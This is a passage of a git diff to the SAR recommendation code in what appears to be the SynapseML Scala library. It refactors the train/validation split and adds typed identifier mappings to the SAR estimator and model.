Estimator[RankingTrainValidationSplitModel] with RankingTrainValidationSplitParams with Wrappable with ComplexParamsWritable @@ -168,75 +167,58 @@ class RankingTrainValidationSplit(override val uid: String) extends Estimator[Ra def filterRatings(dataset: Dataset[_]): DataFrame = filterByUserRatingCount(dataset) .join(filterByItemCount(dataset), $(userCol)) - def splitDF(dataset: DataFrame): Array[DataFrame] = { //scalastyle:ignore method.length - val shuffleFlag = true - val shuffleBC = dataset.sparkSession.sparkContext.broadcast(shuffleFlag) - - if (dataset.columns.contains(getRatingCol)) { - val wrapColumn = udf((itemId: Double, rating: Double) => Array(itemId, rating)) - - val sliceudf = udf( - (r: Seq[Array[Double]]) => r.slice(0, math.round(r.length * $(trainRatio)).toInt)) + def splitDF(dataset: DataFrame): Array[DataFrame] = { //scalastyle:ignore method.length + val usedColumnNames = scala.collection.mutable.Set(dataset.columns: _*) + def unusedColumnName(baseName: String): String = { + val name = Iterator.from(0) + .map(index => if (index == 0) baseName else s"${baseName}_$index") + .find(candidate => !usedColumnNames.contains(candidate)) + .get + usedColumnNames += name + name + } - val shuffle = udf((r: Seq[Array[Double]]) => - if (shuffleBC.value) Random.shuffle(r) - else r + val entryCol = unusedColumnName("__ranking_split_entry") + val entriesCol = unusedColumnName("__ranking_split_entries") + val trainCol = unusedColumnName("__ranking_split_train") + val testCol = unusedColumnName("__ranking_split_test") + val expandedCol = unusedColumnName("__ranking_split_expanded") + val orderField = "__ranking_split_order" + val itemField = "__ranking_split_item" + val ratingField = "__ranking_split_rating" + val hasRating = dataset.columns.contains(getRatingCol) + val entryFields = Seq( + rand().as(orderField), + col(getItemCol).as(itemField) + ) ++ (if (hasRating) Seq(col(getRatingCol).as(ratingField)) else Seq.empty) + + val groupedEntries = dataset + .select(col(getUserCol), struct(entryFields: _*).as(entryCol)) + .groupBy(col(getUserCol)) + .agg(sort_array(collect_list(col(entryCol))).as(entriesCol)) + val trainLength = round(size(col(entriesCol)) * lit($(trainRatio))).cast(IntegerType) + val splitEntries = groupedEntries + .withColumn(trainCol, slice(col(entriesCol), lit(1), trainLength)) + .withColumn( + testCol, + slice(col(entriesCol), trainLength + lit(1), size(col(entriesCol)) - trainLength) ) - val dropudf = udf((r: Seq[Array[Double]]) => r.drop(math.round(r.length * $(trainRatio)).toInt)) - - val testds = dataset - .withColumn("itemIDRating", wrapColumn(col(getItemCol), col(getRatingCol))) - .groupBy(col(getUserCol)) - .agg(collect_list(col("itemIDRating"))) - .withColumn("shuffle", shuffle(col("collect_list(itemIDRating)"))) - .withColumn("train", sliceudf(col("shuffle"))) - .withColumn("test", dropudf(col("shuffle"))) - .drop(col("collect_list(itemIDRating)")).drop(col("shuffle")) - //.cache() - - val train = testds - .select(getUserCol, "train") - .withColumn("itemIdRating", explode(col("train"))) - .drop("train") - .withColumn(getItemCol, col("itemIdRating").getItem(0)) - .withColumn(getRatingCol, col("itemIdRating").getItem(1)) - .drop("itemIdRating") - - val test = testds - .select(getUserCol, "test") - .withColumn("itemIdRating", explode(col("test"))) - .drop("test") - .withColumn(getItemCol, col("itemIdRating").getItem(0)) - .withColumn(getRatingCol, col("itemIdRating").getItem(1)) - .drop("itemIdRating") - - Array(train, test) - } - else { - val sliceudf = udf( - (r: Seq[Double]) => r.slice(0, math.round(r.length * $(trainRatio)).toInt)) - val dropudf = udf((r: Seq[Double]) => r.drop(math.round(r.length * $(trainRatio)).toInt)) - - val testDS = dataset - .groupBy(col(getUserCol)) - .agg(collect_list(col(getItemCol)).alias("shuffle")) - .withColumn("train", sliceudf(col("shuffle"))) - .withColumn("test", dropudf(col("shuffle"))) - .drop(col(s"collect_list($getItemCol")).drop(col("shuffle")) - .cache() - - val train = testDS - .select(getUserCol, "train") - .withColumn(getItemCol, explode(col("train"))) - .drop("train") - - val test = testDS - .select(getUserCol, "test") - .withColumn(getItemCol, explode(col("test"))) - .drop("test") - - Array(train, test) + + def expand(partitionCol: String): DataFrame = { + val expanded = splitEntries + .select(col(getUserCol), explode(col(partitionCol)).as(expandedCol)) + val outputColumns = Seq( + col(getUserCol), + col(expandedCol).getField(itemField).as(getItemCol) + ) ++ (if (hasRating) { + Seq(col(expandedCol).getField(ratingField).as(getRatingCol)) + } else { + Seq.empty + }) + expanded.select(outputColumns: _*) } + + Array(expand(trainCol), expand(testCol)) } def prepareTestData(validationDataset: DataFrame, recs: DataFrame, k: Int): Dataset[_] = { diff --git a/core/src/main/scala/com/microsoft/azure/synapse/ml/recommendation/SAR.scala b/core/src/main/scala/com/microsoft/azure/synapse/ml/recommendation/SAR.scala index 6e9d0ace454..6d111a44110 100644 --- a/core/src/main/scala/com/microsoft/azure/synapse/ml/recommendation/SAR.scala +++ b/core/src/main/scala/com/microsoft/azure/synapse/ml/recommendation/SAR.scala @@ -6,19 +6,29 @@ package com.microsoft.azure.synapse.ml.recommendation import breeze.linalg.{CSCMatrix => BSM} import com.microsoft.azure.synapse.ml.codegen.Wrappable import com.microsoft.azure.synapse.ml.logging.{FeatureNames, SynapseMLLogging} +import org.apache.spark.broadcast.Broadcast import org.apache.spark.ml.Estimator -import org.apache.spark.ml.param._ -import org.apache.spark.ml.recommendation.{RecommendationParams, Constants => C} +import org.apache.spark.ml.param.{IntParam, Param, ParamMap} +import org.apache.spark.ml.recommendation.{Constants => C, RecommendationParams} import org.apache.spark.ml.util.{DefaultParamsReadable, DefaultParamsWritable, Identifiable} import org.apache.spark.mllib.linalg import org.apache.spark.mllib.linalg.{DenseVector, Matrices, SparseMatrix} -import org.apache.spark.sql.functions.{col, collect_list, sum, udf, _} -import org.apache.spark.sql.types.StructType -import org.apache.spark.sql.{DataFrame, Dataset} +import org.apache.spark.sql.expressions.{UserDefinedFunction, Window} +import org.apache.spark.sql.functions.{col, collect_list, countDistinct, expr, lit, max, row_number, struct, sum, udf} +import org.apache.spark.sql.types.{ + DataType, + DoubleType, + FloatType, + IntegerType, + NumericType, + StringType, + StructField, + StructType +} +import org.apache.spark.sql.{Column, DataFrame, Dataset, Row} import java.text.SimpleDateFormat import java.util.{Calendar, Date} -import scala.language.existentials /** * Smart Adaptive Recommendations (SAR) Algorithm @@ -26,10 +36,10 @@ import scala.language.existentials * https://aka.ms/reco-sar * * SAR is a fast scalable adaptive algorithm for personalized recommendations based on user transactions history and - * items description. It produces easily explainable / interpretable recommendations + * items description. It produces easily explainable / interpretable recommendations. * - * SAR has been show to provide higher ranking measurements when compared to ALS. - * https://github.com/Microsoft/Recommenders + * User and item identifiers can be strings or numeric values. SAR deterministically indexes the identifiers while + * fitting and stores both reversible mappings in the resulting model. Caller-visible outputs use the original types. * * @param uid The id of the module */ @@ -60,154 +70,311 @@ class SAR(override val uid: String) extends Estimator[SARModel] override def copy(extra: ParamMap): SAR = defaultCopy(extra) override def transformSchema(schema: StructType): StructType = { - validateAndTransformSchema(schema) + SAR.validateIdentifierColumn(schema, getUserCol) + SAR.validateIdentifierColumn(schema, getItemCol) + SAR.validateNumericColumnIfPresent(schema, getRatingCol) + SAR.appendPrediction(schema, getPredictionCol) } override def fit(dataset: Dataset[_]): SARModel = { logFit({ - new SARModel(uid) - .setUserDataFrame(calculateUserItemAffinities(dataset)) - .setItemDataFrame(calculateItemItemSimilarity(dataset)) - .setParent(this) - .setSupportThreshold(getSupportThreshold) - .setItemCol(getItemCol) - .setUserCol(getUserCol) + transformSchema(dataset.schema) + + // RecommendationIndexer stringifies numeric values and exposes its index columns to callers. SAR instead owns + // typed mappings so direct identifiers round-trip without an extra pipeline stage or a lossy recovery cast. + val (userIdMapping, userIdsFitInt) = buildIdMapping(dataset, getUserCol) + val (itemIdMapping, itemIdsFitInt) = buildIdMapping(dataset, getItemCol) + val indexedUserCol = SAR.unusedColumnName(dataset, "__sar_user_index") + val withUsers = SAR.attachIdMapping(dataset, userIdMapping, getUserCol, indexedUserCol) + val indexedItemCol = SAR.unusedColumnName(withUsers, "__sar_item_index") + val indexed = SAR.attachIdMapping(withUsers, itemIdMapping, getItemCol, indexedItemCol) + + val userData = calculateUserItemAffinities(indexed, indexedUserCol, indexedItemCol) + .withColumnRenamed(indexedUserCol, getUserCol) + val itemData = calculateItemItemSimilarity(indexed, indexedUserCol, indexedItemCol) + .withColumnRenamed(indexedItemCol, getItemCol) + + val model = new SARModel(uid) + .setUserDataFrame(userData) + .setItemDataFrame(itemData) + .setUserIdMapping(userIdMapping) + .setItemIdMapping(itemIdMapping) + .setUserIdsFitInt(userIdsFitInt) + .setItemIdsFitInt(itemIdsFitInt) + copyValues(model).setParent(this) }, dataset.columns.length) } + private def buildIdMapping(dataset: Dataset[_], inputCol: String): (DataFrame, Boolean) = { + val values = dataset.select(col(inputCol).as(SAR.OriginalIdCol)) + val containsNull = values.filter(col(SAR.OriginalIdCol).isNull).limit(1).count() > 0 + require(!containsNull, s"SAR does not support null identifiers in column $inputCol") + + val distinctValues = values.distinct() + val valueCount = distinctValues.count() + require(valueCount > 0, s"SAR requires at least one identifier in column $inputCol") + require(valueCount <= Int.MaxValue, + s"SAR supports at most ${Int.MaxValue} distinct identifiers in column $inputCol, but found $valueCount") + + val identifierType = dataset.schema(inputCol).dataType + val idsFitInt = if (identifierType.isInstanceOf[NumericType]) { + val integerCol = SAR.unusedColumnName(distinctValues, "__sar_integer_identifier") + val casted = distinctValues.withColumn( + integerCol, + SAR.tryCast(SAR.OriginalIdCol, IntegerType) + ) + val roundTripped = SAR.tryCast(integerCol, identifierType) + casted.filter( + casted(integerCol).isNull || + roundTripped.isNull || + !(roundTripped === casted(SAR.OriginalIdCol)) + ).limit(1).count() == 0 + } else { + false + } + + val deterministicOrder = Window.orderBy(col(SAR.OriginalIdCol).asc) + val mapping = distinctValues.withColumn( + SAR.IndexCol, + (row_number().over(deterministicOrder) - 1).cast(DoubleType) + ) + (mapping, idsFitInt) + } + /** - * Item-to-Item similarity matrix contains for each pair of items a numerical value of similarity between these two - * items. A simple measure of item similarity is co-occurrence, which is the number of times two items appeared in a - * same transaction. - * - * @param dataset - * @return + * Retained for package-level compatibility. Fitting uses the same deterministic indexing. */ private[ml] def calculateUserItemAffinities(dataset: Dataset[_]): DataFrame = { + val userIdMapping = buildIdMapping(dataset, getUserCol)._1 + val itemIdMapping = buildIdMapping(dataset, getItemCol)._1 + val indexedUserCol = SAR.unusedColumnName(dataset, "__sar_user_index") + val withUsers = SAR.attachIdMapping(dataset, userIdMapping, getUserCol, indexedUserCol) + val indexedItemCol = SAR.unusedColumnName(withUsers, "__sar_item_index") + val indexed = SAR.attachIdMapping(withUsers, itemIdMapping, getItemCol, indexedItemCol) + calculateUserItemAffinities(indexed, indexedUserCol, indexedItemCol) + .withColumnRenamed(indexedUserCol, getUserCol) + } + + private def calculateUserItemAffinities( + dataset: Dataset[_], + indexedUserCol: String, + indexedItemCol: String): DataFrame = { val referenceTime: Date = new SimpleDateFormat(getStartTimeFormat) .parse(get(startTime).getOrElse(Calendar.getInstance().getTime.toString)) - //Time Decay calculates the half life since the reference time val timeDecay = udf((time: String) => { val activityDate = new SimpleDateFormat(getActivityTimeFormat).parse(time) val timeDifference = (referenceTime.getTime - activityDate.getTime) / (1000 * 60) math.pow(2, -1.0 * timeDifference / (getTimeDecayCoeff * 24 * 60)) }) - val blendWeights = udf((theta: Double, rho: Double) => theta * rho) - val fillOne = udf((_: String) => 1) - - val itemCount = dataset.select(col(getItemCol)).groupBy().max(getItemCol).collect()(0).getDouble(0).toInt - val numItems = dataset.sparkSession.sparkContext.broadcast(itemCount) - val columnsToArray = udf((itemId: Double, rating: Double) => Array(itemId, rating)) - - val seqToArray = udf((itemUserAffinityPairs: Seq[Seq[Double]]) => { - val map = itemUserAffinityPairs.map(r => r.head.toInt -> r(1)).toMap - (0 to numItems.value).map(i => map.getOrElse(i, 0.0).toFloat).toArray + val itemCount = dataset.select(max(col(indexedItemCol))).first().getDouble(0).toInt + 1 + val seqToArray = udf((itemUserAffinityPairs: Seq[Row]) => { + val values = Array.fill[Float](itemCount)(0.0f) + itemUserAffinityPairs.foreach(pair => values(pair.getDouble(0).toInt) = pair.getDouble(1).toFloat) + values }) + val hasTime = dataset.columns.contains(getTimeCol) + val hasRating = dataset.columns.contains(getRatingCol) + val affinity = (hasTime, hasRating) match { + case (true, true) => timeDecay(col(getTimeCol).cast(StringType)) * col(getRatingCol).cast(DoubleType) + case (true, false) => timeDecay(col(getTimeCol).cast(StringType)) + case (false, true) => col(getRatingCol).cast(DoubleType) + case (false, false) => lit(1.0) + } + dataset - .withColumn(C.AffinityCol, (dataset.columns.contains(getTimeCol), dataset.columns.contains(getRatingCol)) match { - case (true, true) => blendWeights(timeDecay(col(getTimeCol)), col(getRatingCol)) - case (true, false) => timeDecay(col(getTimeCol)) - case (false, true) => col(getRatingCol) - case (false, false) => fillOne(col(getUserCol)) - }).select(getUserCol, getItemCol, C.AffinityCol) - .groupBy(getUserCol, getItemCol).agg(sum(col(C.AffinityCol)) as C.AffinityCol) - .withColumn("itemUserAffinityPair", columnsToArray(col(getItemCol), col(C.AffinityCol))) - .groupBy(getUserCol).agg(collect_list(col("itemUserAffinityPair"))) - .withColumn("flatList", seqToArray(col("collect_list(itemUserAffinityPair)"))) - .select(col(getUserCol), col("flatList")) + .withColumn(C.AffinityCol, affinity) + .select(indexedUserCol, indexedItemCol, C.AffinityCol) + .groupBy(indexedUserCol, indexedItemCol) + .agg(sum(col(C.AffinityCol)).cast(DoubleType).as(C.AffinityCol)) + .withColumn("itemUserAffinityPair", + struct(col(indexedItemCol), col(C.AffinityCol))) + .groupBy(indexedUserCol) + .agg(collect_list(col("itemUserAffinityPair")).as("itemUserAffinityPairs")) + .withColumn("flatList", seqToArray(col("itemUserAffinityPairs"))) + .select(col(indexedUserCol), col("flatList")) } /** - * User-to-Item affinity matrix contains for each user-item pair an affinity score of the user towards the item. - * Affinity score is computed as a weighted number of transactions in which the user and the item appear together, - * where newer transactions are weighted more than the older transactions. - * - * Diagonal elements, occ(Item i), simply represent the number of occurrences of each item. The advantage of - * co-occurrence is that it is very easy to update. However, it favors predictability, and the most popular items - * will be recommended most of the time. To alleviate that, two additional similarity measures are used: lift and - * Jaccard. They can be thought of as normalized co-occurrences. - * - * Lift measures how much the co-occurrence of two items is higher than it would be by chance, i.e., what is the - * contribution of interaction of the two items. It is obtained as - * - * lift(Item i, Item j) = cooccur(Item i, Item j) / (occ(Item i) * occ(Item j)) . - * - * Lift favors serendipity / discoverability. For example, items 2 and 5 have the same co-occurrence with item 4, - * but item 5 in general occurs less frequently than item 2 and will be favored by lift. - * - * - * Jaccard measure is defined as the number of transaction in which two items appear together divided by the - * number of transactions in which either of them appears: - * - * Jaccard(Item 1, Item 2) = cooccur(Item1, Item 2) / (occ(Item 1) + occ(Item 2) - cooccur(Item 1, Item 2)) . - * - * Jaccard measure is a tradeoff between co-occurrence and lift and is the default in SAR. - * - * @param dataset - * @return + * Retained for package-level compatibility. Fitting uses the same deterministic indexing. */ private[ml] def calculateItemItemSimilarity(dataset: Dataset[_]): DataFrame = { + val userIdMapping = buildIdMapping(dataset, getUserCol)._1 + val itemIdMapping = buildIdMapping(dataset, getItemCol)._1 + val indexedUserCol = SAR.unusedColumnName(dataset, "__sar_user_index") + val withUsers = SAR.attachIdMapping(dataset, userIdMapping, getUserCol, indexedUserCol) + val indexedItemCol = SAR.unusedColumnName(withUsers, "__sar_item_index") + val indexed = SAR.attachIdMapping(withUsers, itemIdMapping, getItemCol, indexedItemCol) + calculateItemItemSimilarity(indexed, indexedUserCol, indexedItemCol) + .withColumnRenamed(indexedItemCol, getItemCol) + } - val itemCounts = dataset//.cache - .groupBy(col(getItemCol)).agg(countDistinct(col(getUserCol))) - .collect.map(r => r.get(0) -> r.getLong(1)).toMap - - val broadcastItemCounts = dataset.sparkSession.sparkContext.broadcast(itemCounts) + private def collectItemCounts( + dataset: Dataset[_], + indexedUserCol: String, + indexedItemCol: String): Map[Int, Long] = { + dataset + .groupBy(col(indexedItemCol)) + .agg(countDistinct(col(indexedUserCol))) + .collect() + .map(row => row.getDouble(0).toInt -> row.getLong(1)) + .toMap + } - val maxCounts = dataset.agg(max(col(getUserCol)), max(col(getItemCol))).take(1)(0) - val userCount = maxCounts.getDouble(0).toInt + 1 - val itemCount = maxCounts.getDouble(1).toInt + 1 + private def createInteractionMatrix( + dataset: Dataset[_], + indexedUserCol: String, + indexedItemCol: String, + userCount: Int, + itemCount: Int): BSM[Double] = { + val sparse = SparseMatrix.fromCOO(userCount, itemCount, + dataset + .select(col(indexedUserCol), col(indexedItemCol)) + .distinct() + .collect() + .map(pair => (pair.getDouble(0).toInt, pair.getDouble(1).toInt, 1.0))) + new BSM[Double](sparse.values, sparse.numRows, sparse.numCols, sparse.colPtrs, sparse.rowIndices) + } - val broadcastMatrix = { - val sparse = SparseMatrix.fromCOO(userCount, itemCount, - dataset - .groupBy(getUserCol, getItemCol).agg(count(getItemCol)) - .select(col(getUserCol), col(getItemCol)) - .collect.map(userItemPair => (userItemPair.getDouble(0).toInt, userItemPair.getDouble(1).toInt, 1.0))) - dataset.sparkSession.sparkContext.broadcast( - new BSM[Double](sparse.values, sparse.numRows, sparse.numCols, sparse.colPtrs, sparse.rowIndices) + private def itemFeaturesVector( + userCount: Int, + interactionMatrix: Broadcast[BSM[Double]]): UserDefinedFunction = { + udf((users: Seq[Double]) => { + val values = Array.fill[Double](userCount)(0.0) + users.foreach(user => values(user.toInt) = 1.0) + val matrix = Matrices.dense(1, values.length, values).asML.toSparse + val breezeMatrix = new BSM[Double]( + matrix.values, + matrix.numRows, + matrix.numCols, + matrix.colPtrs, + matrix.rowIndices ) - } - - val createItemFeaturesVector = udf((users: Seq[Double]) => { - val vec = Array.fill[Double](userCount)(0.0) - users.foreach(user => vec(user.toInt) = 1.0) - val sm = Matrices.dense(1, vec.length, vec).asML.toSparse - val smBSM: BSM[Double] = new BSM[Double](sm.values, sm.numRows, sm.numCols, sm.colPtrs, sm.rowIndices) - val value: BSM[Double] = smBSM * broadcastMatrix.value - new DenseVector(value.toDense.toArray) + val multiplied: BSM[Double] = breezeMatrix * interactionMatrix.value + new DenseVector(multiplied.toDense.toArray) }) + } - val calculateFeature = udf((itemID: Double, features: linalg.Vector) => { - val countI = features.apply(itemID.toInt) - features.toArray.indices.map(i => { - val countJ: Long = broadcastItemCounts.value.getOrElse(i, 0) - val cooco = features.apply(i) - if (!(cooco < getSupportThreshold)) { + private def similarityFeature( + itemCounts: Broadcast[Map[Int, Long]]): UserDefinedFunction = { + udf((itemId: Double, features: linalg.Vector) => { + val countI = features(itemId.toInt) + features.toArray.indices.map(index => { + val countJ = itemCounts.value.getOrElse(index, 0L) + val cooccurrence = features(index) + if (cooccurrence >= getSupportThreshold) { getSimilarityFunction match { - case "jaccard" => (cooco / (countI + countJ - cooco)).toFloat - case "lift" => (cooco / (countI * countJ)).toFloat - case _ => cooco.toFloat + case "jaccard" => (cooccurrence / (countI + countJ - cooccurrence)).toFloat + case "lift" => (cooccurrence / (countI * countJ)).toFloat + case _ => cooccurrence.toFloat } + } else { + 0.0f } - else 0 }) }) + } + + private def calculateItemItemSimilarity( + dataset: Dataset[_], + indexedUserCol: String, + indexedItemCol: String): DataFrame = { + val context = dataset.sparkSession.sparkContext + val itemCounts = context.broadcast(collectItemCounts(dataset, indexedUserCol, indexedItemCol)) + val maxCounts = dataset.agg(max(col(indexedUserCol)), max(col(indexedItemCol))).first() + val userCount = maxCounts.getDouble(0).toInt + 1 + val itemCount = maxCounts.getDouble(1).toInt + 1 + val interactionMatrix = context.broadcast( + createInteractionMatrix(dataset, indexedUserCol, indexedItemCol, userCount, itemCount) + ) dataset - .select(col(getItemCol), col(getUserCol)) - .groupBy(getItemCol).agg(collect_list(getUserCol) as "collect_list") - .withColumn(C.FeaturesCol, createItemFeaturesVector(col("collect_list"))) - .select(col(getItemCol), col(C.FeaturesCol)) - .withColumn(C.ItemAffinities, calculateFeature(col(getItemCol), col(C.FeaturesCol))) - .select(col(getItemCol), col(C.ItemAffinities)) + .select(col(indexedItemCol), col(indexedUserCol)) + .groupBy(indexedItemCol) + .agg(collect_list(indexedUserCol).as("users")) + .withColumn(C.FeaturesCol, itemFeaturesVector(userCount, interactionMatrix)(col("users"))) + .select(col(indexedItemCol), col(C.FeaturesCol)) + .withColumn(C.ItemAffinities, similarityFeature(itemCounts)(col(indexedItemCol), col(C.FeaturesCol))) + .select(col(indexedItemCol), col(C.ItemAffinities)) } } -object SAR extends DefaultParamsReadable[SAR] +object SAR extends DefaultParamsReadable[SAR] { + private[recommendation] val OriginalIdCol = "originalID" + private[recommendation] val IndexCol = "index" + + private[recommendation] def validateIdentifierColumn(schema: StructType, columnName: String): Unit = { + val dataType = schema(columnName).dataType + require(dataType == StringType || dataType.isInstanceOf[NumericType], + s"Column $columnName must be string or numeric, but was $dataType") + } + + private[recommendation] def validateNumericColumnIfPresent( + schema: StructType, + columnName: String): Unit = { + if (schema.fieldNames.contains(columnName)) { + val dataType = schema(columnName).dataType + require(dataType.isInstanceOf[NumericType], + s"Column $columnName must be numeric, but was $dataType") + } + } + + private[recommendation] def appendPrediction(schema: StructType, predictionCol: String): StructType = { + require(!schema.fieldNames.contains(predictionCol), s"Output column $predictionCol already exists") + StructType(schema.fields :+ StructField(predictionCol, FloatType, nullable = false)) + } + + private[recommendation] def unusedColumnName(dataset: Dataset[_], baseName: String): String = { + Iterator.from(0) + .map(index => if (index == 0) baseName else s"${baseName}_$index") + .find(name => !dataset.columns.contains(name)) + .get + } + + private[recommendation] def tryCast(columnName: String, dataType: DataType): Column = { + val escapedColumnName = columnName.replace("`", "``") + expr(s"try_cast(`$escapedColumnName` AS ${dataType.sql})") + } + + private[recommendation] def identifierTypesCompatible(actualType: DataType, trainedType: DataType): Boolean = { + actualType == trainedType || + (actualType.isInstanceOf[NumericType] && trainedType.isInstanceOf[NumericType]) + } + + private[recommendation] def attachIdMapping( + dataset: Dataset[_], + mapping: DataFrame, + inputCol: String, + outputCol: String): DataFrame = { + val actualType = dataset.schema(inputCol).dataType + val trainedType = mapping.schema(OriginalIdCol).dataType + require(identifierTypesCompatible(actualType, trainedType), + s"Column $inputCol has type $actualType, but SAR was trained with $trainedType") + + val (prepared, identifier) = if (actualType == trainedType) { + val frame = dataset.toDF() + (frame, frame(inputCol)) + } else { + val castedCol = unusedColumnName(dataset, "__sar_casted_identifier") + val casted = dataset.withColumn(castedCol, tryCast(inputCol, trainedType)) + val roundTripped = tryCast(castedCol, actualType) + val safelyCasted = casted.filter( + casted(inputCol).isNotNull && + casted(castedCol).isNotNull && + roundTripped.isNotNull && + (roundTripped === casted(inputCol)) + ) + (safelyCasted, safelyCasted(castedCol)) + } + val originalColumns = dataset.columns.map(prepared(_)) + + prepared + .join(mapping, identifier === mapping(OriginalIdCol), "inner") + .select((originalColumns :+ mapping(IndexCol).as(outputCol)): _*) + } +} trait SARParams extends Wrappable with RecommendationParams { @@ -215,9 +382,8 @@ trait SARParams extends Wrappable with RecommendationParams { def setSimilarityFunction(value: String): this.type = set(similarityFunction, value) val similarityFunction = new Param[String](this, "similarityFunction", - "Defines the similarity function to be used by " + - "the model. Lift favors serendipity, Co-occurrence favors predictability, " + - "and Jaccard is a nice compromise between the two.") + "Defines the similarity function to be used by the model. Lift favors serendipity, " + + "Co-occurrence favors predictability, and Jaccard is a compromise between the two.") /** @group setParam */ def setTimeCol(value: String): this.type = set(timeCol, value) diff --git a/core/src/main/scala/com/microsoft/azure/synapse/ml/recommendation/SARModel.scala b/core/src/main/scala/com/microsoft/azure/synapse/ml/recommendation/SARModel.scala index 83a5de4022b..79226897b75 100644 --- a/core/src/main/scala/com/microsoft/azure/synapse/ml/recommendation/SARModel.scala +++ b/core/src/main/scala/com/microsoft/azure/synapse/ml/recommendation/SARModel.scala @@ -6,14 +6,20 @@ package com.microsoft.azure.synapse.ml.recommendation import com.microsoft.azure.synapse.ml.codegen.Wrappable import com.microsoft.azure.synapse.ml.logging.{FeatureNames, SynapseMLLogging} import com.microsoft.azure.synapse.ml.param.DataFrameParam -import org.apache.spark.ml.param.ParamMap +import org.apache.spark.ml.param.{BooleanParam, ParamMap} import org.apache.spark.ml.recommendation.{BaseRecommendationModel, Constants} import org.apache.spark.ml.util.Identifiable -import org.apache.spark.ml.{ComplexParamsReadable, ComplexParamsWritable, Model} -import org.apache.spark.mllib.linalg.DenseVector import org.apache.spark.mllib.linalg.distributed.{CoordinateMatrix, MatrixEntry} -import org.apache.spark.sql.functions.{col, udf} -import org.apache.spark.sql.types.{StructField => SF, _} +import org.apache.spark.ml.{ComplexParamsReadable, ComplexParamsWritable, Model} +import org.apache.spark.sql.functions.{ + col, + collect_list, + sort_array, + struct, + transform => arrayTransform, + udf +} +import org.apache.spark.sql.types.{DoubleType, FloatType, IntegerType, NumericType, StructField, StructType} import org.apache.spark.sql.{DataFrame, Dataset, Row} /** SAR Model @@ -29,7 +35,7 @@ class SARModel(override val uid: String) extends Model[SARModel] /** @group setParam */ def setUserDataFrame(value: DataFrame): this.type = set(userDataFrame, value) - val userDataFrame = new DataFrameParam(this, "userDataFrame", "Time of activity") + val userDataFrame = new DataFrameParam(this, "userDataFrame", "Internal user affinity factors") /** @group getParam */ def getUserDataFrame: DataFrame = $(userDataFrame) @@ -37,106 +43,377 @@ class SARModel(override val uid: String) extends Model[SARModel] /** @group setParam */ def setItemDataFrame(value: DataFrame): this.type = set(itemDataFrame, value) - val itemDataFrame = new DataFrameParam(this, "itemDataFrame", "Time of activity") + val itemDataFrame = new DataFrameParam(this, "itemDataFrame", "Internal item similarity factors") /** @group getParam */ def getItemDataFrame: DataFrame = $(itemDataFrame) + /** @group setParam */ + def setUserIdMapping(value: DataFrame): this.type = set(userIdMapping, value) + + val userIdMapping = new DataFrameParam( + this, + "userIdMapping", + "Deterministic mapping from original user identifiers to internal indices" + ) + + /** Returns the model-owned user mapping with columns `originalID` and `index`. */ + def getUserIdMapping: DataFrame = get(userIdMapping) + .getOrElse(identityMapping(getUserDataFrame, getUserCol)) + + /** @group setParam */ + def setItemIdMapping(value: DataFrame): this.type = set(itemIdMapping, value) + + val itemIdMapping = new DataFrameParam( + this, + "itemIdMapping", + "Deterministic mapping from original item identifiers to internal indices" + ) + + /** Returns the model-owned item mapping with columns `originalID` and `index`. */ + def getItemIdMapping: DataFrame = get(itemIdMapping) + .getOrElse(identityMapping(getItemDataFrame, getItemCol)) + + /** Whether user identifiers can use the established integer recommendation schema without loss. */ + val userIdsFitInt = new BooleanParam( + this, + "userIdsFitInt", + "Whether all original user identifiers round-trip through IntegerType" + ) + + def setUserIdsFitInt(value: Boolean): this.type = set(userIdsFitInt, value) + + def getUserIdsFitInt: Boolean = get(userIdsFitInt).getOrElse(false) + + /** Whether item identifiers can use the established integer recommendation schema without loss. */ + val itemIdsFitInt = new BooleanParam( + this, + "itemIdsFitInt", + "Whether all original item identifiers round-trip through IntegerType" + ) + + def setItemIdsFitInt(value: Boolean): this.type = set(itemIdsFitInt, value) + + def getItemIdsFitInt: Boolean = get(itemIdsFitInt).getOrElse(false) + + setDefault(userIdsFitInt -> false, itemIdsFitInt -> false) + + private def identityMapping(factors: DataFrame, identifierColumn: String): DataFrame = { + val identifierType = factors.schema(identifierColumn).dataType + val integerCol = SAR.unusedColumnName(factors, "__sar_legacy_integer_identifier") + val casted = factors.withColumn(integerCol, SAR.tryCast(identifierColumn, IntegerType)) + val identifier = casted(identifierColumn) + val integerIdentifier = casted(integerCol) + val roundTripped = SAR.tryCast(integerCol, identifierType) + casted + .filter( + identifier.isNotNull && + integerIdentifier.isNotNull && + roundTripped.isNotNull && + (roundTripped === identifier) + ) + .select( + integerIdentifier.as(SAR.OriginalIdCol), + identifier.cast(DoubleType).as(SAR.IndexCol) + ) + .distinct() + } + def this() = this(Identifiable.randomUID("SARModel")) + private case class RecommendationSide( + factors: DataFrame, + indexColumn: String, + vectorColumn: String, + mapping: DataFrame, + outputColumn: String, + outputAsInt: Boolean, + mappingIsLegacy: Boolean, + mayBeEmpty: Boolean) + + private def userRecommendationSide( + factors: DataFrame, + mayBeEmpty: Boolean = false): RecommendationSide = { + RecommendationSide( + factors, + getUserCol, + "flatList", + getUserIdMapping, + getUserCol, + getUserIdsFitInt, + mappingIsLegacy = !isSet(userIdMapping), + mayBeEmpty = mayBeEmpty + ) + } + + private def itemRecommendationSide( + factors: DataFrame, + mayBeEmpty: Boolean = false): RecommendationSide = { + RecommendationSide( + factors, + getItemCol, + Constants.ItemAffinities, + getItemIdMapping, + getItemCol, + getItemIdsFitInt, + mappingIsLegacy = !isSet(itemIdMapping), + mayBeEmpty = mayBeEmpty + ) + } + /** - * Returns top `numItems` items recommended for each user, for all users. - * - * @param numItems max number of recommendations for each user - * @return a DataFrame of (userCol: Int, recommendations), where recommendations are - * stored as an array of (itemCol: Int, rating: Float) Rows. + * Returns top `numItems` items recommended for every user. + * String and non-integer numeric identifiers retain their training data types. */ def recommendForAllUsers(numItems: Int): DataFrame = { - recommendForAll(getUserDataFrame, getItemDataFrame, getUserCol, getItemCol, numItems) + recommendForAll( + userRecommendationSide(getUserDataFrame), + itemRecommendationSide(getItemDataFrame), + numItems + ) } /** - * Returns top `numItems` items recommended for each user id in the input data set. Note that if - * there are duplicate ids in the input dataset, only one set of recommendations per unique id - * will be returned. - * - * @param dataset a Dataset containing a column of user ids. The column name must match `userCol`. - * @param numItems max number of recommendations for each user. - * @return a DataFrame of (userCol: Int, recommendations), where recommendations are - * stored as an array of (itemCol: Int, rating: Float) Rows. + * Returns top `numItems` items recommended for each known user in `dataset`. + * Duplicate, null, and unknown user identifiers do not create output rows. */ def recommendForUserSubset(dataset: Dataset[_], numItems: Int): DataFrame = { - val srcFactorSubset = getSourceFactorSubset(dataset, 